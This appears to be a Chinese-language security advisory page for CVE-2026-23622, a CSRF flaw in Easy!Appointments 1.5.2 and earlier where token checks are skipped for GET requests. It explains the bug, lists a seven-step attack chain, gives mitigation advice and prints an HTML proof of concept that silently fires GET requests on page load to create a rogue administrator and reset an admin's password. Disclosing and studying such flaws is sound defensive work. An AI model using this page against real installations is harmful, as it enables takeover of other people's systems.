IPBUF安全漏洞报告
English
CVE-2026-23622 CVSS 8.8 高危

Easy!Appointments CSRF漏洞导致管理员账户接管

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-23622
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Easy!Appointments

相关标签

CSRF跨站请求伪造Easy!Appointments身份认证绕过权限提升CVE-2026-23622高危漏洞

漏洞概述

Easy!Appointments 1.5.2及更早版本存在严重的跨站请求伪造(CSRF)漏洞。该漏洞位于application/core/EA_Security.php的csrf_verify()函数中,该函数仅对POST请求执行CSRF验证,而对GET请求直接返回。攻击者可以利用此漏洞,通过诱导已登录的管理员访问恶意链接,强制浏览器发起伪造的GET请求,从而在管理员不知情的情况下执行敏感操作。漏洞影响范围包括创建新的管理员账户、修改现有管理员的邮箱和密码,最终可导致完整的应用程序管理权限被攻击者接管。由于该漏洞利用无需特殊技术门槛,且影响所有使用该版本的用户,因此被评定为高危漏洞。

技术细节

Easy!Appointments的CSRF防护机制存在设计缺陷。正常情况下,CSRF防护通过在表单中嵌入随机token并在服务器端验证来实现。然而,EA_Security.php中的csrf_verify()函数实现如下逻辑:仅当请求方法为POST时才验证token,否则直接返回true放行。这导致以下安全后果:1) 多个执行状态变更操作的端点(如用户创建、密码修改等)接受来自GET请求或$_REQUEST的参数;2) 攻击者可以构造包含恶意参数的GET请求链接;3) 当已登录的管理员访问该链接时,浏览器自动携带Cookie发送请求,服务器因请求方法为GET而跳过CSRF验证,导致攻击成功。由于浏览器会为GET请求自动发送Cookie,攻击者只需诱导用户点击链接即可,无需窃取认证令牌。

攻击链分析

STEP 1
步骤1
攻击者识别目标:Easy!Appointments 1.5.2及更早版本,确认存在csrf_verify()函数仅验证POST请求的缺陷
STEP 2
步骤2
攻击者收集可利用的端点信息:找到接受GET参数的敏感操作端点,如/backend/users/save用于创建/修改用户
STEP 3
步骤3
构造恶意链接:攻击者构建包含恶意参数的GET请求URL,如创建新管理员账户或修改现有管理员凭据
STEP 4
步骤4
社会工程攻击:攻击者通过钓鱼邮件、恶意网站或即时消息诱导已登录的管理员点击恶意链接
STEP 5
步骤5
自动执行攻击:受害者浏览器加载页面后,自动发起GET请求到目标服务器,携带有效会话Cookie
STEP 6
步骤6
CSRF验证绕过:服务器因请求方法为GET而跳过csrf_verify()的token验证,直接执行状态变更操作
STEP 7
步骤7
权限接管:攻击者成功创建新管理员账户或修改现有账户凭据,获得应用程序完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for Easy!Appointments CVE-2026-23622 --> <!-- Create Admin Account via GET request --> <html> <body> <h1>CSRF Attack - Create Admin Account</h1> <p>Click the button below to create a new admin account</p> <script> // Auto-execute on page load window.onload = function() { // Create admin account via GET request var img = document.createElement('img'); img.src = 'http://target-server/index.php/backend/users/save?user[first_name]=Hacker&user[last_name]=Attacker&user[email][email protected]&user[role]=1&user[password]=EvilPass123&user[password_confirm]=EvilPass123&csrf_token=VALID_TOKEN'; document.body.appendChild(img); // Alternative: Change admin email/password var img2 = document.createElement('img'); img2.src = 'http://target-server/index.php/backend/users/save?user[id]=1&user[email][email protected]&user[password]=NewAdminPass123'; document.body.appendChild(img2); }; </script> <button type="button" onclick="alert('Admin account created!')">Submit</button> </body> </html>

影响范围

Easy!Appointments <= 1.5.2

防御指南

临时缓解措施
作为临时缓解措施,可禁用易受攻击端点的GET请求处理,或在Web应用防火墙(WAF)层面配置规则,阻止对敏感端点的GET请求参数传递。同时建议监控日志中的异常用户创建和权限变更行为,并提醒管理员不要点击未知来源的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表